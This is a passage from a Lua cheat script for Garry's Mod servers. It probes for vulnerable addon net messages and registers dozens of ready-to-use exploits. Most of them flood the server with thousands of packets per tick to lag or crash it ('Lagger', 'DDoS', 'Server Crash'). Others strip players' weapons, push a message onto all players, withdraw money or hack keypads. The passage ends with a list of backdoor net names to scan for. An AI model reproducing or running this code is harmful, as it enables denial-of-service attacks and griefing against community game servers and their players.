6033 net.SendToServer()
6034 end)
6035 end
6036
6037 status = ValidNetString("DeployMask") -- 37.230.228.248:27016
6038
6039 if (status) then
6040 ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
6041
6042 addExploit("255", "To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
6043 surface.PlaySound("garrysmod/ui_click.wav")
6044 ECNotify("Starting")
6045
6046 for k, v in pairs(ents.GetAll()) do
6047 net.Start("DeployMask")
6048 net.WriteEntity(v)
6049 net.SendToServer()
6050 end
6051 end)
6052 end
6053
6054 status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
6055
6056 if (status) then
6057 ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
6058
6059 addExploit("256", "Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
6060 surface.PlaySound("garrysmod/ui_click.wav")
6061 ECNotify("Starting")
6062
6063 for k, v in pairs(ents.GetAll()) do
6064 net.Start("RemoveMask")
6065 net.WriteEntity(v)
6066 net.SendToServer()
6067 end
6068 end)
6069 end
6070
6071 status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
6072
6073 if (status) then
6074 ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
6075
6076 addExploit("257", "Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
6077 surface.PlaySound("garrysmod/ui_click.wav")
6078 ECNotify("Starting")
6079
6080 for k, v in pairs(ents.GetAll()) do
6081 net.Start("SwapFilter")
6082 net.WriteEntity(v)
6083 net.SendToServer()
6084 end
6085 end)
6086 end
6087
6088 status = ValidNetString("WipeMask") -- 37.230.228.248:27016
6089
6090 if (status) then
6091 ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
6092
6093 addExploit("258", "Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
6094 surface.PlaySound("garrysmod/ui_click.wav")
6095 ECNotify("Starting")
6096
6097 for k, v in pairs(ents.GetAll()) do
6098 net.Start("WipeMask")
6099 net.WriteEntity(v)
6100 net.SendToServer()
6101 end
6102 end)
6103 end
6104
6105 status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
6106
6107 if (status) then
6108 ECPrint("Found Exploit: Use Medkit [UseMedkit]")
6109
6110 addExploit("259", "Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
6111 surface.PlaySound("garrysmod/ui_click.wav")
6112 ECNotify("Starting")
6113
6114 for k, v in pairs(ents.GetAll()) do
6115 net.Start("UseMedkit")
6116 net.WriteEntity(v)
6117 net.SendToServer()
6118 end
6119 end)
6120 end
6121
6122 status = ValidNetString("IDInv_RequestBank")
6123
6124 if (status) then
6125 ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
6126
6127 addExploit("260", "Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
6128 surface.PlaySound("garrysmod/ui_click.wav")
6129 ECNotify("Starting")
6130
6131 if not timer.Exists("lagger23") then
6132 timer.Create("lagger23", 0, 0, function()
6133 for i = 1, 1000 do
6134 net.Start("IDInv_RequestBank", true)
6135 net.SendToServer()
6136 end
6137 end)
6138 end
6139 end)
6140 end
6141
6142 status = ValidNetString("casinokit_chipexchange")
6143
6144 if (status) then
6145 ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
6146
6147 addExploit("261", "Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
6148 surface.PlaySound("garrysmod/ui_click.wav")
6149 ECNotify("Starting")
6150
6151 if not timer.Exists("lagger24") then
6152 timer.Create("lagger24", 0, 0, function()
6153 for i = 1, 1000 do
6154 net.Start("casinokit_chipexchange", true)
6155 net.WriteEntity(LocalPlayer())
6156 net.WriteString("darkrp")
6157 net.WriteBool(false)
6158 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6159 net.SendToServer()
6160 end
6161 end)
6162 end
6163 end)
6164 end
6165
6166 status = ValidNetString("RemoveTag")
6167
6168 if (status) then
6169 ECPrint("Found Exploit: 1tap server [RemoveTag]")
6170
6171 addExploit("262", "1tap server", "discovered by Leith", function()
6172 surface.PlaySound("garrysmod/ui_click.wav")
6173 ECNotify("Starting")
6174
6175 timer.Create("1tap", 0.5, 0, function()
6176 for i = 1, 4000 do
6177 net.Start("RemoveTag")
6178 net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
6179 net.SendToServer()
6180 end
6181 end)
6182 end)
6183 end
6184
6185 status = ValidNetString("desktopPrinter_Withdraw")
6186
6187 if (status) then
6188 ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
6189
6190 addExploit("263", "Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
6191 surface.PlaySound("garrysmod/ui_click.wav")
6192 ECNotify("Starting")
6193
6194 if not timer.Exists("lagger25") then
6195 timer.Create("lagger25", 0, 0, function()
6196 for i = 1, 1000 do
6197 net.Start("desktopPrinter_Withdraw", true)
6198 net.WriteEntity(LocalPlayer())
6199 net.SendToServer()
6200 end
6201 end)
6202 end
6203 end)
6204 end
6205
6206 status = ValidNetString("sphys_dupe")
6207
6208 if (status) then
6209 ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
6210
6211 addExploit("264", "Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6212 surface.PlaySound("garrysmod/ui_click.wav")
6213 ECNotify("Starting")
6214
6215 timer.Create("lagger26", 0.2, 0, function()
6216 for i = 1, 2200 do
6217 net.Start("sphys_dupe", true)
6218 net.SendToServer()
6219 end
6220 end)
6221 end)
6222 end
6223
6224 status = ValidNetString("simfphys_gasspill")
6225
6226 if (status) then
6227 ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
6228
6229 addExploit("265", "Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6230 surface.PlaySound("garrysmod/ui_click.wav")
6231 ECNotify("Starting")
6232
6233 timer.Create("poop", 0.1, 0, function()
6234 for k, v in pairs(player.GetAll()) do
6235 for j = 1, 3 do
6236 if IsValid(v) then
6237 net.Start("simfphys_gasspill")
6238 net.WriteVector(v:GetPos() + Vector(0, 0, 90))
6239 net.WriteVector(v:EyePos())
6240 net.SendToServer()
6241 end
6242 end
6243 end
6244 end)
6245 end)
6246 end
6247
6248 status = ValidNetString("dronesrewrite_controldr")
6249
6250 if (status) then
6251 ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
6252
6253 addExploit("266", "Lagger #27", "discovered by Solly", function()
6254 surface.PlaySound("garrysmod/ui_click.wav")
6255 ECNotify("Starting")
6256
6257 timer.Create("lagger27", 0.2, 0, function()
6258 for i = 1, 2200 do
6259 net.Start("dronesrewrite_controldr", true)
6260 net.SendToServer()
6261 end
6262 end)
6263 end)
6264 end
6265
6266 status = ValidNetString("SCP-294Sv")
6267
6268 if (status) then
6269 ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
6270
6271 addExploit("267", "SCP-294 Exploit", "discovered by questionmark", function()
6272 surface.PlaySound("garrysmod/ui_click.wav")
6273 ECNotify("Starting")
6274
6275 for k, v in pairs(ents.GetAll()) do
6276 net.Start("SCP-294Sv")
6277 net.WriteString("acid")
6278 net.WriteEntity(v)
6279 net.SendToServer()
6280 end
6281 end)
6282 end
6283
6284 status = ValidNetString("VC_PlayerReady")
6285
6286 if (status) then
6287 ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
6288
6289 addExploit("268", "Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
6290 surface.PlaySound("garrysmod/ui_click.wav")
6291 ECNotify("Starting")
6292
6293 timer.Create("lagger28", 0, 0, function()
6294 for i = 1, 1000 do
6295 net.Start("VC_PlayerReady", true)
6296 net.SendToServer()
6297 end
6298 end)
6299 end)
6300 end
6301
6302 status = ValidNetString("phone")
6303
6304 if (status) then
6305 ECPrint("Found Exploit: Call all players [phone]")
6306
6307 addExploit("269", "Call all players", "discovered by questionmark", function()
6308 surface.PlaySound("garrysmod/ui_click.wav")
6309 ECNotify("Starting")
6310
6311 for k, v in pairs(player.GetAll()) do
6312 net.Start("phone")
6313
6314 net.WriteTable{
6315 ply = v,
6316 act = 'call'
6317 }
6318
6319 net.SendToServer()
6320 end
6321 end)
6322 end
6323
6324 status = ValidNetString("blueatm")
6325
6326 if (status) then
6327 ECPrint("Found Exploit: Lagger #29 [blueatm]")
6328
6329 addExploit("270", "Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
6330 surface.PlaySound("garrysmod/ui_click.wav")
6331 ECNotify("Starting")
6332
6333 timer.Create("lagger29", 0, 0, function()
6334 for i = 1, 1000 do
6335 net.Start("blueatm", true)
6336 net.WriteEntity(LocalPlayer())
6337 net.SendToServer()
6338 end
6339 end)
6340 end)
6341 end
6342
6343 status = ValidNetString("cab_cd_testdrive")
6344
6345 if (status) then
6346 ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
6347
6348 addExploit("271", "Stavox Teleport", "discovered by Aromatic", function()
6349 surface.PlaySound("garrysmod/ui_click.wav")
6350 ECNotify("Starting")
6351 net.Start('cab_cd_testdrive')
6352 net.WriteUInt(0, 3)
6353 net.WriteUInt(5, 8)
6354 net.SendToServer()
6355 end)
6356 end
6357
6358 status = ValidNetString("cab_sendmessage")
6359
6360 if (status) then
6361 ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
6362
6363 addExploit("272", "Stavox Message", "discovered by Aromatic", function()
6364 surface.PlaySound("garrysmod/ui_click.wav")
6365 ECNotify("Starting")
6366
6367 for k, v in pairs(player.GetAll()) do
6368 net.Start("cab_sendmessage")
6369 net.WriteEntity(v)
6370 net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
6371 net.SendToServer()
6372 end
6373 end)
6374 end
6375
6376 status = ValidNetString("disguise")
6377
6378 if (status) then
6379 ECPrint("Found Exploit: Lagger #30 [disguise]")
6380
6381 addExploit("273", "Lagger #30", "discovered by Aromatic & Leith", function()
6382 surface.PlaySound("garrysmod/ui_click.wav")
6383
6384 timer.Create("lagger30", 0, 0, function()
6385 for i = 1, 1000 do
6386 net.Start("disguise", true)
6387 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
6388 net.SendToServer()
6389 end
6390 end)
6391 end)
6392 end
6393
6394 status = ValidNetString("FARMINGMOD_DROPITEM")
6395
6396 if (status) then
6397 ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
6398
6399 addExploit("274", "Lagger #31", "discovered by Leith", function()
6400 surface.PlaySound("garrysmod/ui_click.wav")
6401
6402 timer.Create("lagger31", 0, 0, function()
6403 for i = 1, 1000 do
6404 net.Start("FARMINGMOD_DROPITEM", true)
6405 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
6406 net.SendToServer()
6407 end
6408 end)
6409 end)
6410 end
6411
6412 status = ValidNetString("SlotsRemoved")
6413
6414 if (status) then
6415 ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
6416
6417 addExploit("275", "Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
6418 surface.PlaySound("garrysmod/ui_click.wav")
6419
6420 timer.Create("lagger32", 0, 0, function()
6421 for i = 1, 1000 do
6422 net.Start("SlotsRemoved", true)
6423 net.SendToServer()
6424 end
6425 end)
6426 end)
6427 end
6428
6429 status = ValidNetString("AirDrops_StartPlacement")
6430
6431 if (status) then
6432 ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
6433
6434 addExploit("276", "Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
6435 surface.PlaySound("garrysmod/ui_click.wav")
6436
6437 timer.Create("lagger33", 0, 0, function()
6438 for i = 1, 1000 do
6439 net.Start("AirDrops_StartPlacement", true)
6440 net.SendToServer()
6441 end
6442 end)
6443 end)
6444 end
6445
6446 status = ValidNetString("pp_info_send")
6447
6448 if (status) then
6449 ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
6450
6451 addExploit("277", "Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
6452 surface.PlaySound("garrysmod/ui_click.wav")
6453
6454 timer.Create("lagger33", 0, 0, function()
6455 for i = 1, 1000 do
6456 net.Start("pp_info_send", true)
6457 net.SendToServer()
6458 end
6459 end)
6460 end)
6461 end
6462
6463 status = ValidNetString("IGS.GetPaymentURL")
6464
6465 if (status) then
6466 ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
6467
6468 addExploit("278", "Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
6469 surface.PlaySound("garrysmod/ui_click.wav")
6470
6471 timer.Create("lagger35", 0, 0, function()
6472 for i = 1, 1000 do
6473 net.Start("IGS.GetPaymentURL", true)
6474 net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
6475 net.SendToServer()
6476 end
6477 end)
6478 end)
6479 end
6480
6481 status = ValidNetString("fg_printer_money")
6482
6483 if (status) then
6484 ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
6485
6486 addExploit("279", "Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
6487 surface.PlaySound("garrysmod/ui_click.wav")
6488
6489 timer.Create("lagger36", 0, 0, function()
6490 for i = 1, 1000 do
6491 net.Start('fg_printer_money', true)
6492 net.WriteEntity(LocalPlayer())
6493 net.SendToServer()
6494 end
6495 end)
6496 end)
6497 end
6498
6499 status = ValidNetString("tickbookpayfine")
6500
6501 if (status) then
6502 ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
6503
6504 addExploit("280", "Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
6505 surface.PlaySound("garrysmod/ui_click.wav")
6506
6507 timer.Create("lagger37", 0, 0, function()
6508 for i = 1, 1000 do
6509 net.Start("tickbookpayfine", true)
6510 net.SendToServer()
6511 end
6512 end)
6513 end)
6514 end
6515
6516 status = ValidNetString("BeginSpin")
6517
6518 if (status) then
6519 ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
6520
6521 addExploit("281", "Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
6522 surface.PlaySound("garrysmod/ui_click.wav")
6523
6524 timer.Create("lagger38", 0, 0, function()
6525 for i = 1, 1000 do
6526 net.Start("BeginSpin", true)
6527 net.SendToServer()
6528 end
6529 end)
6530 end)
6531 end
6532
6533 status = ValidNetString("DuelRequestClient")
6534
6535 if (status) then
6536 ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
6537
6538 addExploit("282", "Lagger #39", "discovered by Leith", function()
6539 surface.PlaySound("garrysmod/ui_click.wav")
6540
6541 timer.Create("lagger39", 0, 0, function()
6542 for i = 1, 1000 do
6543 net.Start("DuelRequestClient", true)
6544 net.SendToServer()
6545 end
6546 end)
6547 end)
6548 end
6549
6550 status = ValidNetString("ncpstoredoact")
6551
6552 if (status) then
6553 ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
6554
6555 addExploit("283", "Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
6556 surface.PlaySound("garrysmod/ui_click.wav")
6557
6558 timer.Create("lagger40", 0, 0, function()
6559 for i = 1, 1000 do
6560 net.Start("ncpstoredoact", true)
6561 net.SendToServer()
6562 end
6563 end)
6564 end)
6565 end
6566
6567 status = ValidNetString("PermwepsNPCSellWeapon")
6568
6569 if (status) then
6570 ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
6571
6572 addExploit("284", "Lagger #41", "discovered by Leith", function()
6573 surface.PlaySound("garrysmod/ui_click.wav")
6574
6575 timer.Create("lagger41", 0, 0, function()
6576 for i = 1, 2000 do
6577 net.Start("PermwepsNPCSellWeapon", true)
6578 net.WriteString("")
6579 net.SendToServer()
6580 end
6581 end)
6582 end)
6583 end
6584
6585 status = ValidNetString("bitcoins_request_withdraw")
6586
6587 if (status) then
6588 ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
6589
6590 addExploit("285", "Lagger #42", "discovered by Leith", function()
6591 surface.PlaySound("garrysmod/ui_click.wav")
6592
6593 timer.Create("lagger42", 0, 0, function()
6594 for i = 1, 2000 do
6595 net.Start("bitcoins_request_withdraw", true)
6596 net.SendToServer()
6597 end
6598 end)
6599 end)
6600 end
6601
6602 status = ValidNetString("bitcoins_request_turn_on")
6603
6604 if (status) then
6605 ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
6606
6607 addExploit("286", "To include all bitcoin miners", "discovered by Leith", function()
6608 surface.PlaySound("garrysmod/ui_click.wav")
6609 ECNotify("Starting")
6610
6611 for k, v in pairs(ents.GetAll()) do
6612 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6613 net.Start("bitcoins_request_turn_on")
6614 net.WriteEntity(v)
6615 net.SendToServer()
6616 end
6617 end
6618 end)
6619 end
6620
6621 status = ValidNetString("bitcoins_request_turn_off")
6622
6623 if (status) then
6624 ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
6625
6626 addExploit("287", "Disable all bitcoin miners", "discovered by Leith", function()
6627 surface.PlaySound("garrysmod/ui_click.wav")
6628 ECNotify("Starting")
6629
6630 for k, v in pairs(ents.GetAll()) do
6631 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6632 net.Start("bitcoins_request_turn_off")
6633 net.WriteEntity(v)
6634 net.SendToServer()
6635 end
6636 end
6637 end)
6638 end
6639
6640 status = ValidNetString("NET_AM_MakePotion")
6641
6642 if (status) then
6643 ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
6644
6645 addExploit("288", "Lagger #43", "discovered by Leith", function()
6646 surface.PlaySound("garrysmod/ui_click.wav")
6647 ECNotify("Starting")
6648
6649 timer.Create("lagger43", 0, 0, function()
6650 for i = 1, 2000 do
6651 net.Start('NET_AM_MakePotion', true)
6652 net.WriteEntity(LocalPlayer())
6653 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
6654 net.SendToServer()
6655 end
6656 end)
6657 end)
6658 end
6659
6660 status = ValidNetString("minigun_drones_switch")
6661
6662 if (status) then
6663 ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
6664
6665 addExploit("289", "Lagger #44", "discovered by Solly", function()
6666 surface.PlaySound("garrysmod/ui_click.wav")
6667 ECNotify("Starting")
6668
6669 timer.Create("lagger44", 0.2, 0, function()
6670 for i = 1, 2200 do
6671 net.Start("minigun_drones_switch", true)
6672 net.SendToServer()
6673 end
6674 end)
6675 end)
6676 end
6677
6678 status = ValidNetString("CW20_PRESET_LOAD")
6679
6680 if (status) then
6681 ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
6682
6683 addExploit("290", "Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
6684 surface.PlaySound("garrysmod/ui_click.wav")
6685 ECNotify("Starting")
6686
6687 timer.Create("lagger45", 0.2, 0, function()
6688 if (LocalPlayer():GetActiveWeapon():GetClass():find("cw")) then
6689 for i = 1, 2200 do
6690 net.Start("CW20_PRESET_LOAD", true)
6691 net.SendToServer()
6692 end
6693 end
6694 end)
6695 end)
6696 end
6697
6698 status = ValidNetString("SBP_addtime")
6699
6700 if (status) then
6701 ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
6702
6703 addExploit("291", "Lagger #46", "discovered by Solly", function()
6704 surface.PlaySound("garrysmod/ui_click.wav")
6705 ECNotify("Starting")
6706
6707 timer.Create("lagger46", 0.3, 0, function()
6708 for i = 1, 2200 do
6709 net.Start("SBP_addtime", true)
6710 net.SendToServer()
6711 end
6712 end)
6713 end)
6714 end
6715
6716 status = ValidNetString("NetData")
6717
6718 if (status) then
6719 ECPrint("Found Exploit: Outfit player nouser [NetData]")
6720
6721 addExploit("292", "Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
6722 surface.PlaySound("garrysmod/ui_click.wav")
6723 ECNotify("Starting")
6724
6725 for k, v in pairs(player.GetAll()) do
6726 net.Start("NetData")
6727 net.WriteString("OF")
6728 net.WriteUInt(4, 8)
6729 net.WriteData(math.random(100000, 9999999) .. ",sis.mdl", 30)
6730 net.SendToServer()
6731 end
6732 end)
6733 end
6734
6735 status = ValidNetString("StackGhost")
6736
6737 if (status) then
6738 ECPrint("Found Exploit: DDoS #1")
6739
6740 addExploit("294", "DDoS #1", "Creates lags on server [StackGhost]", function()
6741 surface.PlaySound("garrysmod/ui_click.wav")
6742 ECNotify("Starting")
6743
6744 timer.Create("DDoS", 0.02, 0, function()
6745 for i = 1, 2000 do
6746 net.Start("StackGhost", true)
6747 net.WriteInt(69, 32)
6748 net.SendToServer()
6749 end
6750 end)
6751 end)
6752 end
6753
6754 status = ValidNetString("pac_submit")
6755
6756 if (status) then
6757 ECPrint("Found Exploit: DDoS #2")
6758
6759 addExploit("295", "DDoS #2", "Creates lags on server [pac_sumbit]", function()
6760 surface.PlaySound("garrysmod/ui_click.wav")
6761 ECNotify("Starting")
6762
6763 -----------------------------------
6764 timer.Create("DDoS2", 0.02, 0, function()
6765 for i = 1, 1000 do
6766 Disco.NetStart("pac_submit")
6767 net.SendToServer()
6768 end
6769 end)
6770 end)
6771 ----------------------------------
6772 end
6773
6774 status = ValidNetString("RequestMAPSize")
6775
6776 if (status) then
6777 ECPrint("Found Exploit: 1tap server [MapSize]")
6778
6779 addExploit("296", "1tap server [MapSize]", "-1 server", function()
6780 surface.PlaySound("garrysmod/ui_click.wav")
6781 ECNotify("Starting")
6782
6783 -----------------------------------
6784 timer.Create("lagger10", 0, 0, function()
6785 for i = 1, 400 do
6786 net.Start("RequestMAPSize")
6787 net.SendToServer()
6788 end
6789 end)
6790 end)
6791 ----------------------------------
6792 end
6793
6794 status = ValidNetString("properties")
6795
6796 if (status) then
6797 ECPrint("Found Exploit: Weapon Strip")
6798
6799 addExploit("297", "Weapon Strip", "-weapon", function()
6800 surface.PlaySound("garrysmod/ui_click.wav")
6801 ECNotify("Starting")
6802
6803 -----------------------------------
6804 for k, v in pairs(player.GetAll()) do
6805 if v:IsPlayer() then
6806 for k, v in pairs(v:GetWeapons()) do
6807 net.Start("properties")
6808 net.WriteString("remove", 32)
6809 net.WriteEntity(v)
6810 net.SendToServer()
6811 end
6812 end
6813 end
6814 end)
6815 ----------------------------------
6816 end
6817
6818 status = ValidNetString("start_wd_emp")
6819
6820 if (status) then
6821 ECPrint("Found Exploit: Hack Keypad")
6822
6823 addExploit("298", "HackKeypad", "Hack Keypad", function()
6824 surface.PlaySound("garrysmod/ui_click.wav")
6825 ECNotify("Starting")
6826 -----------------------------------
6827 net.Start('start_wd_emp')
6828 net.SendToServer()
6829 end)
6830 ----------------------------------
6831 end
6832
6833 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
6834
6835 if (status) then
6836 ECPrint("Found Exploit: Server Crash")
6837
6838 addExploit("299", "Server Crash", " ", function()
6839 surface.PlaySound("garrysmod/ui_click.wav")
6840 ECNotify("Starting")
6841
6842 -----------------------------------
6843 timer.Create("crasher2", 0, 0, function()
6844 for i = 1, 400 do
6845 net.Start("pac.net.TouchFlexes.ClientNotify")
6846 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
6847 net.SendToServer()
6848 end
6849 end)
6850 end)
6851 ----------------------------------
6852 end
6853
6854 status = ValidNetString("ItemStoreDrop")
6855
6856 if (status) then
6857 ECPrint("Found Exploit: DDoS item")
6858
6859 addExploit("300", "DDoS item", " ", function()
6860 surface.PlaySound("garrysmod/ui_click.wav")
6861 ECNotify("Starting")
6862
6863 -----------------------------------
6864 timer.Create("lagger7", 0, 0, function()
6865 for i = 1, 1000 do
6866 net.Start("ItemStoreDrop")
6867 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6868 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6869 net.SendToServer()
6870 end
6871 end)
6872 end)
6873 ----------------------------------
6874 end
6875
6876 status = ValidNetString("TFA_Attachment_RequestAll")
6877
6878 if (status) then
6879 ECPrint("Found Exploit: TFA LAGGER")
6880
6881 addExploit("301", "TFA LAGGER", " ", function()
6882 surface.PlaySound("garrysmod/ui_click.wav")
6883 ECNotify("Starting")
6884
6885 -----------------------------------
6886 timer.Create("lagger20", 0.02, 0, function()
6887 for i = 1, 4400 do
6888 net.Start("TFA_Attachment_RequestAll", true)
6889 net.SendToServer()
6890 end
6891 end)
6892 end)
6893 ----------------------------------
6894 end
6895
6896 status = ValidNetString("ts_buytitle")
6897
6898 if (status) then
6899 ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
6900
6901 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
6902 surface.PlaySound("garrysmod/ui_click.wav")
6903 ECNotify("Starting")
6904
6905 timer.Create("lagger47", 0, 0, function()
6906 for i = 1, 1000 do
6907 net.Start("ts_buytitle", true)
6908 net.WriteTable({})
6909 net.WriteTable({})
6910 net.WriteTable({})
6911 net.SendToServer()
6912 end
6913 end)
6914 end)
6915 end
6916
6917 status = ValidNetString("SBP_addtime")
6918
6919 if (status) then
6920 ECPrint("Found Exploit: XP Booster [SBP_addtime]")
6921
6922 addExploit("293", "XP Booster", "discovered by Solly", function()
6923 inputFrameExists = true
6924 inputFrame = vgui.Create("DFrame")
6925 inputFrame:SetTitle("Enter the number")
6926 inputFrame:SetSize(400, 75)
6927 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
6928 inputFrame:SetDraggable(false)
6929 inputFrame:ShowCloseButton(true)
6930 inputFrame:MakePopup()
6931
6932 inputFrame.Paint = function(self, w, h)
6933 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
6934 end
6935
6936 local TextEntry = vgui.Create("DTextEntry", inputFrame)
6937 TextEntry:SetSize(380, 30)
6938 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
6939 TextEntry:SetText("100")
6940
6941 TextEntry.OnEnter = function(self)
6942 surface.PlaySound("garrysmod/ui_click.wav")
6943
6944 timer.Create("ofn", 0.2, 0, function()
6945 for i = 1, tonumber(self:GetText()) do
6946 net.Start("SBP_addtime")
6947 net.SendToServer()
6948 end
6949
6950 inputFrame:SetVisible(false)
6951 end)
6952 end
6953 end)
6954 end
6955
6956 --/////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
6957 status = ValidNetString("EnterpriseWithdraw")
6958
6959 if (status) then
6960 ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
6961
6962 addExploit("1337", "ENTERPRISE FOUND!", "discovered by Leith", function()
6963 surface.PlaySound("garrysmod/ui_click.wav")
6964 ECNotify("Starting")
6965 net.Start("EnterpriseWithdraw")
6966 net.WriteInt(100, 32)
6967 net.SendToServer()
6968 end)
6969 end
6970
6971 status = ValidNetString("SetPermaKnife")
6972
6973 if (status) then
6974 ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
6975
6976 addExploit("1337", "PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
6977 surface.PlaySound("garrysmod/ui_click.wav")
6978 end)
6979 --[[
6980 function cockSucker(ply,cmd,args,argStr)
6981 local ply = LocalPlayer()
6982
6983 net.Start( "SetPermaKnife" )
6984 net.WriteString( string.TrimRight(argStr,".lua") )
6985 net.SendToServer()
6986 end
6987
6988 concommand.Add("gibe_weapon",cockSucker)
6989 ]]
6990 end
6991 ----------------------------------------------------------------------------------
6992 -- for k, v in pairs(player.GetAll()) do
6993 -- for k, v in pairs(ents.GetAll()) do
6994 ----------------------------------------------------------------------------------
6995 -- if !timer.Exists("lagger") then
6996 -- timer.Create("lagger", 0, 0, function()
6997 -- for i = 1, 1000 do
6998 -----------------------------
6999 -- 9999999999999999999999999999999999999999999999999999999999
7000 -- 0xFFFFFFF
7001 --------------------------------------------------------------------------------------------------
7002 --------------------------------------------------------------------------------------------------
7003 --------------------------------------------------------------------------------------------------
7004
7005end
7006concommand.Add('R8_Exploit', function()
7007 R8_Menu()
7008end)
7009
7010
7011local BD = {}
7012netKey = "memeDoor"
7013BackdoorsFound = 0
7014
7015function ValidNetString(str)
7016 local status, error = pcall(net.Start, str)
7017
7018 return status
7019end
7020
7021BackDoor_net = {
7022 {
7023 NetWork = "Sandbox_ArmDupe"
7024 },
7025 {
7026 NetWork = "Sbox_darkrp"
7027 },
7028 {
7029 NetWork = "Sbox_itemstore"
7030 },
7031 {
7032 NetWork = "Ulib_Message"
7033 },
7034 {
7035 NetWork = "ULogs_Info"
7036 },
7037 {
7038 NetWork = "ITEM"
7039 },
7040 {
7041 NetWork = "R8"
7042 },
7043 {
7044 NetWork = "fix"
